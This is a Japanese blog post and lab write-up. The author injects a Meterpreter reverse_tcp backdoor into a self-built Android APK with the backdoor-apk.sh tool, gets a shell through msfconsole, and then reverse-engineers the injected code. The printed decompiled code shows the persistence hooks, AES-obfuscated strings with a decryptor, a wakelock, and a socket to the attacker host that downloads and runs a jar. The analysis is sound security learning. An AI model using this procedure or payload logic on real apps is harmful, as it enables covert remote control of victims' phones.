daiki0508'足跡

BackDoorAPK解析してみた

BackDoorAPK解析してみた

ネットサーフィンをしていたら既存のAPKファイルにmaliciousなコードを挿入できるプログラムを見つけました。

そこで、実際にどのような動作をするのかと、どのようなコードが挿入されることで悪意ある動作を引き起こすのかを知りたくなったので実際に調査することにしました。

目次

注意事項

これから行うことは全てあくまで教育目的であり、悪意ある目的で行わないでください。

それによってどのような被害が発生しても私は責任を負いかねます。

筆者の環境

事前準備

実際にAPKにmaliciousなコードを挿入する前にやっておくことが複数あるので行います。

挿入するAPKの作成

実際に既に存在するAPKに対してmaliciousなコードを挿入しても良いのですが、今回は挿入した後にReversingを行いたいので実際に自分で専用のAPKを新規に作成した方が後々やりやすいでしょう。

そんなわけでさくっと最低限の処理だけを行うアプリを作成しました。

f:id:daiki0508:20211223064151p:plain

DI等のModuleは使用していますが、処理自体はHello World!という文字列を表示するだけのAPKです。

今回、compileSdkやtargetSdkは以下のようにしました。

android {
    compileSdk 31

    defaultConfig {
        applicationId "com.websarva.wings.android.backdoorapk"
        minSdk 16
        targetSdk 30
        versionCode 1
        versionName "1.0"

        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
    }

    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
        }
    }
// ...
}

続いてManifestなのですが、私はここでとある記述が不足していたためにmaliciousなコードを挿入するプログラムが正常に動作しないという問題に陥ったので注意してください。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.websarva.wings.android.backdoorapk">

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!--
...
 -->
</manifest>

<uses-permission>というタグは必ず記述するようにしてください。(追加する権限は何でもいいです)

調べた感じだと、このタグを認識することで挿入するコードに適した権限をここに自動で追記していくようなので...。

後はreleaseビルドで署名してエクスポートすれば使用するAPKの準備は終了です。

malisiousなコードを挿入するプログラムのダウンロード

私の場合はリアルワールドに似せたかったので、実際にKaliサーバーを立ててこれ以降の操作を行いました。

既存のAPKにmaliciousなコードを挿入するプログラムがgithub上で公開されていたのでますはそのリポジトリをcloneします。

ここではURLは公開しなので、興味のある人はDana James Traversie, backdoor-apk, githubといった感じで検索して探してください。

f:id:daiki0508:20211223064154p:plain

必要ライブラリのインストール

どうやら必要なライブラリが複数あるようなので、必要に応じて以下のライブラリを適宜インストールしてください。

・lib32z1 (apt install)
・lib32ncurses6 (apt install)
・lib32stdc++6 (apt install)
・msfvenom (kaliならdefault)
・baksmali (apt install)
・unzip (apt install)
・keytool (apt install)
・jarsigner (apt install)
・apktool (https://ibotpeaches.github.io/Apktool/install/)

実践

ここからは実際に先ほど作成したAPKとダウンロードしたプログラムを使いmaliciousなコードを挿入してみましょう。

maliciousなコードをAPKに挿入する

このbackdoor-apk.shがmaliciousなコードを挿入するプログラム(以下、スクリプト)になります。

この際、挿入対象のAPKは必ず下記の画像の様にスクリプトと同じ階層に配置してください。

f:id:daiki0508:20211223064205p:plain

後は以下の様にスクリプトを実行するだけです。

root# ./backdoor-apk.sh BackDoorAPK.apk

途中に攻撃をListenするIPアドレスやポート、通信形式を聞かれるので任意に選択してください。

今回私はreverse_tcpを選択してAndroidManifest.xmlに関しては自動で追記するように設定しました。

エミュレータの場合はhttphttpsの方を選ぶのをお勧めします。

________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: x.x.x.x
[?] Please enter an LPORT value: xxx
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Decompiling original APK file...done.
[*] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/websarva/wings/android/backdoorapk
[+] Smali file to hook RAT payload: com/websarva/wings/android/backdoorapk/di/Application.smali
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Injecting helpful Java classes in RAT APK file...done.
[*] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/websarva/wings/android/backdoorapk/ikokd
[+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym
[+] Generated new smali class name for MainService.smali: Aupyx
[+] Generated new smali class name for Payload.smali: Nwiuc
[+] Generated new smali class name for StringObfuscator.smali: Abnrw
[+] Generated new smali method name for StringObfuscator.obfuscate method: icobf
[+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.

スクリプトがエラー無く、最後まで実行されると成功です。

maliciousなコードが挿入されたAPKはoriginal/distに作成され、metasploitと通信するためのスクリプトbackdoor-apk.rcというファイル名で作成されています。

f:id:daiki0508:20211223064215p:plain

動作確認

実際に端末にmaliciousなコードが挿入されたAPKをインストールして動作を確認してみます。

注意:セキュリティ的観点から動作検証が終わった後は、インストールしたAPKファイルを端末からアンインストールすることを強く推奨します。

metasploitをbackdoor-apk.rcをオプションに指定して起動しましょう。

root# ./msfconsole -r backdoor-apk.rc

f:id:daiki0508:20211223064225p:plain

この状態になるとパケットが飛んでくるのを待つListen状態になります。

続いて端末にAPKをインストールして起動してみましょう。

f:id:daiki0508:20211223064235p:plain

表面上の処理は何も変わっていないように思えますね。

しかし実際はこの時点でmaliciousなコードが実行されています。

その証拠に先ほどのmetasploitの画面を見てみましょう。

f:id:daiki0508:20211223064239p:plain

metasploitの方にパケットが飛んできているのを確認できます。

後はsessionsコマンドを実行すればshellを取得できます。

msf6 exploit(multi/handler) > session 1
meterpreter > 

実行できるコマンド集は以下のリンクで記載されているのでぜひ試してみてください。

blog.nviso.eu

備考:Android6.0以降では権限の確認の仕様が変更となり、一部の権限はコード上に特殊な処理を記述しないとたとえAndroidmanifestに権限を記述していても無効となるように変更されました。そのため、一部のコマンドは正常に動作しない可能性があります。

解析

先ほどまでは実際に実行して動作を確認したので、今度はどのようなコードが挿入されることでこのようなことが可能になっているのかをReversingすることで解明していきたいと思います。

考察

いきなり解析作業に入ってもいいのですが、その前に開発者的視点から少し考察してみます。

その方が処理を把握しやすいので。

  • アプリがbackground状態になってもshellを取得できている。
    • serviceが動いているのではないか。
  • 端末をスリープモードにしてもshellが取れている。
    • Wakelock系統の設定が行われている可能性がある。

これらのことを踏まえたうえで解析作業を行っていきましょう。

解析作業

ツールは基本的に以下の物を使用します。

・jadx-gui (https://github.com/skylot/jadx)
・Android Studio
・apkx (https://github.com/b-mueller/apkx)

まずjadx-guiにはコメントを書く機能等は存在しないため、apkxAndroid Studioを用いて適宜コメントを残してReversingがしやすいようにします。

$ apkx BackDoorAPK.apk

上記のコマンドを実行するとAPKがデコンパイルされて、新しくフォルダとして生成されるのでその中のsrc/packageNameをコピーしてAndroid Studiojavaディレクトリ直下にペーストします。

私の環境では以下のようになります。

以降はここにコメント等を書いて処理を把握しやすくしましょう。

f:id:daiki0508:20211223064249p:plain

それではjadx-guiに改ざんされたAPKをロードさせて本格的な解析作業に入ります。

まず、Manifestを見てみます。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.websarva.wings.android.backdoorapk" platformBuildVersionCode="31" platformBuildVersionName="12">
        <!-- 
           ...
        -->
    <application android:theme="@style/Theme.BackDoorAPK" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.websarva.wings.android.backdoorapk.di.Application" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
                <!-- 
                ...
               -->
        <receiver android:name="com.websarva.wings.android.backdoorapk.fxldo.Rthat">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <service android:name="com.websarva.wings.android.backdoorapk.fxldo.Tqnln" android:exported="true"/>
    </application>
</manifest>

重要な部分だけを抜き出してみました。

やはり考察通りに<service>タグでserviceクラスが挿入されていますね。

serviceクラスは以下のようなコードで成り立っています。

f:id:daiki0508:20211223064252p:plain

ちなみにですが、このTqnlnクラスのFindUsageを見てみるとstartメソッドがdi.Applicationで呼び出されていることが分かります。

備考ですが、追加されたmaliciousなクラス名は毎回(生成する度に)変わります。

di.Applicationは私がAPK作成時にモジュールの関係で予め作成しておいたクラスです。

// ...

@Metadata(d1 = {"\u0000\u0012\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0003\u001a\u00020\u0004H\u0016¨\u0006\u0005"}, d2 = {"Lcom/websarva/wings/android/backdoorapk/di/Application;", "Landroid/app/Application;", "()V", "onCreate", "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = 48)
@HiltAndroidApp
/* compiled from: Application.kt */
public final class Application extends Hilt_Application {
    public Application() {
        Tqnln.start();
    }

    @Override // com.websarva.wings.android.backdoorapk.di.Hilt_Application
    public void onCreate() {
        super.onCreate();
    }
}

コードを見るとApplicationクラスのコンストラクタでTqnln.start()が呼び出されています。

つまりアプリを起動した時点でmaliciousな処理が走る原因はここということになります。

引き続きTqnlnクラスを見ていきます。

するとmethod変数に代入されるforNamegetMethodの引数が暗号化されているように感じます。

Method method = Class.forName(Xfxbq.mppcg("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ")).getMethod(Xfxbq.mppcg("xPMCeRNBkNjD6UwLrz+BZVCdizq4OKBKpECFeYxAtKNKoQ=="), new Class[0]);

Xfxbq.mppcgメソッドを見て処理を確認しましょう。

f:id:daiki0508:20211223065046p:plain

案の定、文字列がAESで暗号化されていてmppcgメソッドはそれを復号化するメソッドのようです。

カギに関する情報も全てハードコードされている様なので簡単に復号化できそうなので、複合化するプログラムをささっと作りました。

public class AESDecrypt {
    public static void main(String[] args) throws Exception {
        byte[] DECODED_KEY = Base64.getDecoder().decode("OYpcB+Vi8ha02y4OOrUUdA==".getBytes("UTF-8"));

        byte[] cipherText = Base64.getDecoder().decode("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ".getBytes("UTF-8"));
        Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding");
        SecretKeySpec secKeySpec = new SecretKeySpec(DECODED_KEY, "AES");
        byte[] iv = new byte[16];
        System.arraycopy(cipherText, 0, iv, 0, iv.length);
        IvParameterSpec ivParamSpec = new IvParameterSpec(iv);
        byte[] encryptedBytes = new byte[cipherText.length - iv.length];
        System.arraycopy(cipherText, iv.length, encryptedBytes, 0, encryptedBytes.length);
        
        cipher.init(Cipher.DECRYPT_MODE, secKeySpec, ivParamSpec);

        System.out.println(new String(cipher.doFinal(encryptedBytes), "UTF-8"));
    }
}

ちなみに今回はforNameの方がandroid.app.ActivityThreadgetMethodの方がcurrentApplicationでした。

そしてstartServiceが呼び出されてサービスが開始されます。

serviceが開始されるとonStartCommandが呼び出されます。

public int onStartCommand(Intent intent, int i, int i2) {
    Jqpjx.start(this);
    return 1;
}

onStartCommnadではJqpjx.startが呼び出されています。

f:id:daiki0508:20211223065035p:plain

startメソッドでは同クラス内のメソッドであるstartInPathメソッドがアプリの内部ストレージファイルのパスを引数にして呼び出されています。

private static final byte[] a = {4, 0, 0, 0, 0, 0, 0, ...}
// ...
private static Object[] h;
// ...
public static void startInPath(String str) {
    h = new Object[]{str, a};
    new e().start();
}

そしてObject配列hにパスとバイト配列が代入されてe().startが呼び出されています。

e()はThreadなのでrun()メソッドが呼ばれていることと同義です。

f:id:daiki0508:20211223065038p:plain

run()メソッドではJqpjx.main(null)が呼び出されています。

a a2 = b.a(a);
if (a2.d != null && !a2.d.isEmpty()) {
    if ((a2.a & 4) == 0 || b == null) {
        wakeLock = null;
// ...

b.aメソッドの引数には先ほどのObject配列h[1]に代入されていたbyte配列aが用いられて、その戻り値によってこの先の処理がかなり変化しそうなのでb.aメソッドを詳しく見てみます。

f:id:daiki0508:20211223065042p:plain

かなり面倒くさそうなデータの復号化の様な処理が記述されていますね...。

ただこちらも、頑張って復号化プログラムを書けば問題なさそうな予感もするのでとりあえず書いてみました。

// ...

public class decodeCipher {
    private static int a(byte[] bArr, int i) {
        int i2 = 0;
        for (int i3 = 0; i3 < 4; i3++){
            i2 |= (bArr[i3 + i] & 255) << (i3 << 3);
        }
        return i2;
    }

    public static void main(String[] args) {
        byte[] bArr = new byte[]{4, 0, 0, 0, 0, ....};

        a aVar = new a();
        aVar.a = a(bArr, 0);
        aVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, 12));
        b(bArr, 16, 16);
        b(bArr, 32, 16);
        int i = 48;
        if((aVar.a & 1) != 0){
            aVar.c = a(bArr, 8000, 100);
        }
        while(bArr[i] != 0){
            g gVar = new g();
            gVar.a = a(bArr, i, 512);
            int i2 = i + 512 + 4;
            gVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i2));
            int i3 = i2 + 4;
            gVar.c = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i3));
            i = i3 + 4;
            if(gVar.a.startsWith("http")){
                a(bArr, i, 128);
                int i4 = i + 128;
                a(bArr, i4, 64);
                int i5 = i4 + 64;
                a(bArr, i5, 64);
                int i6 = i5 + 64;
                gVar.d = a(bArr, i6, 256);
                int i7 = i6 + 256;
                gVar.e = null;
                byte[] b = b(bArr, i7, 20);
                int i8 = i7 + 20;
                int i9 = 0;
                while(true){
                    if(i9 >= b.length){
                        break;
                    }else if(b[i9] != 0){
                        gVar.e = b;
                        break;
                    }else {
                        i9++;
                    }
                }
                StringBuilder sb = new StringBuilder();
                int length = bArr.length;
                for(int i10 = i8; i10 < length; i10++){
                    byte b2 = bArr[i10];
                    if(b2 == 0){
                        break;
                    }
                    sb.append((char) (b2 & 255));
                }
                String sb2 = sb.toString();
                gVar.f = sb2;
                i = sb2.length() + i8;
            }
            aVar.d.add(gVar);
        }
        aVar.println();
        g gVar = (g) aVar.d.get(0);
        gVar.println();
    }

    private static String a(byte[] bArr, int i, int i2){
        byte[] b = b(bArr, i, i2);
        try{
            return new String(b, "ISO-8859-1").trim();
        } catch(UnsupportedEncodingException e){
            return new String(b).trim();
        }
    }

    private static byte[] b(byte[] bArr, int i, int i2){
        byte[] bArr2 = new byte[i2];
        System.arraycopy(bArr, i, bArr2, 0, i2);
        return bArr2;
    }
}

final class a {
    int a;
    long b;
    String c;
    List d = new LinkedList();

    void println(){
        System.out.println("a.a: " + a);
        System.out.println("a.b: " + b);
        System.out.println("a.c: " + c);
    }
}

final class g {
    String a;
    long b;
    long c;
    String d;
    byte[] e;
    String f;

    void println(){
        System.out.println("g.a: " + a);
        System.out.println("g.b: " + b);
        System.out.println("g.c: " + c);
        System.out.println("g.d: " + d);
        System.out.println("g.f: " + f);
    }
}

maliciousなコードを挿入する際にreverse_tcpを選択した場合はg.a変数にtcp://x.x.x.x:xxxという形式で入力したIPアドレスとポートが表示されているのではないでしょうか。

元の処理(mainメソッド)に戻ると考察通りにWakelock系の設定があるのが確認できます。

} else {
    PowerManager.WakeLock newWakeLock = ((PowerManager) b.getSystemService(Xfxbq.mppcg("qO31ImUyuA3BnYqJTTe/k/0prmUw"))).newWakeLock(1, Jqpjx.class.getSimpleName());
    newWakeLock.acquire();
    wakeLock = newWakeLock;
}

暗号化された文字列はAESDecryptプログラムで復号化するとpowerになります。

また、getSystemService, power, newWakeLockでドキュメントを調べて、定数1で調べるとPARTIAL_WAKE_LOCKだとわかります。

PARTIAL_WAKE_LOCKを設定することでユーザが電源ボタンを押して、端末がスリープモードになったとしてもアプリがバックグラウンドで動作し続けることが可能になります。

gVar = (g) a2.d.get(0);
String str = gVar.a;
// ...
if (str.startsWith(Xfxbq.mppcg("KGsE4jDc7kzn3KfRSdl06H5Mcg=="))) { // tcp
    String[] split = str.split(Xfxbq.mppcg("pRDGnvj68J5dJhEPZRAtWJI=")); // :
    int parseInt = Integer.parseInt(split[2]);
    String str2 = split[1].split(Xfxbq.mppcg("7zi+5DRHYvHgeqUGG/8pyk8="))[2]; // /
    if (str2.equals(Xfxbq.mppcg("Rzq+IoCJz696k5yjqgV8ng=="))) { // blank(empty)
        ServerSocket serverSocket = new ServerSocket(parseInt);
        socket = serverSocket.accept();
        serverSocket.close();
    } else {
        socket = new Socket(str2, parseInt);
    }
    if (socket != null) {
        a(new DataInputStream(socket.getInputStream()), new DataOutputStream(socket.getOutputStream()), h);
    }
}

a2変数はb.aメソッドの戻り値で、g.aにはIPアドレスとポートが代入されていたことは今までの調査で判明しています。

そしてここでは、tcp://x.x.x.x.:xxxという文字列からIPアドレスとポート番号を抽出してソケットを作成して通信を行っています。

ソケットが無事に作成された場合にはaメソッドが呼ばれます。

この際のaメソッドの第3引数には前に出てきたObject配列hが渡されます。

aメソッドの処理を見ていきます。

String str = (String) objArr[0];
String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String str3 = str2 + Xfxbq.mppcg("oQKTcZFAQHkbvjzrBKsxz1izGU8="); // .jar
String str4 = str2 + Xfxbq.mppcg("FuY2icS3rdPbkeFLeYMgrA/vdo4="); // .dex
// ...
byte[] a2 = a(dataInputStream);
File file = new File(str3);
if (!file.exists()) {
    file.createNewFile();
}

str変数には内部ストレージのfilesディレクトリのパスが代入されます。

何か難しそうに書いてありますが、要するにpackageName/files/xxx.jarファイルを作成してるだけです。

String str5 = new String(a(dataInputStream));
byte[] a2 = a(dataInputStream);
// ...
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(a2);
fileOutputStream.flush();
fileOutputStream.close();

上記の部分で作成したファイルにソケット先から取得したdataを書き込んでいます。

Class loadClass = new DexClassLoader(str3, str, str, Jqpjx.class.getClassLoader()).loadClass(str5);
Object newInstance = loadClass.newInstance();
file.delete();
new File(str4).delete();
loadClas.getMethod(Xfxbq.mppcg("x7Xdyof9qxGVe3rKABF35SRwVj05"), DataInputStream.class, OutputStream.class, Object[].class).invoke(newInstance, dataInputStream, outputStream, objArr);

その後に動的ClassLoaderを用いて外部からダウンロードしたjarファイルのクラス内のメソッドを実行しています。

つまり、ここで任意の処理を実行できる余地が発生します。

ちなみに今回は解説しませんが、httpやhttpsの際の処理もやってることはほとんど変わりません。(User-Agent等をRequestで送信するといった処理はありますが)

おわりに

今回実際にmaliciousなコードを挿入されたAPKの動作確認と解析を行ってみましたが、最近の端末だと多少被害を抑えられるかなという感じでした。

現状でもリモート経由で追加のアプリのインストールやアプリの起動、外部ストレージの書き込みと読み取りぐらいはRootがなくても出来るので、あまり安心はしない方が良いですが..。

解析に関しては、今回の挿入されたコード自体がかなり簡単だと思ったので初心者には結構おすすめなのではないかなと思いました。

また、暗号化された文字列等についても私は別途プログラムを作成して復号化しましたが、Frida等を使えばもう少し楽だったのではないか?と後になって気が付きました...。


この記事はIPFactory Advent Calendar 2021の12月23日分です。

IPFactoryというサークルについてはこちらをご覧ください.

昨日12月22日はfutabato先輩による「MBSD Cybersecurity Challenges 2021 参加記」でした。

明日12月24日もfutabato先輩による「Machine Learning for Web Vulnerability Detection: The Case of Cross-Site Request Forgery」です。

お楽しみに。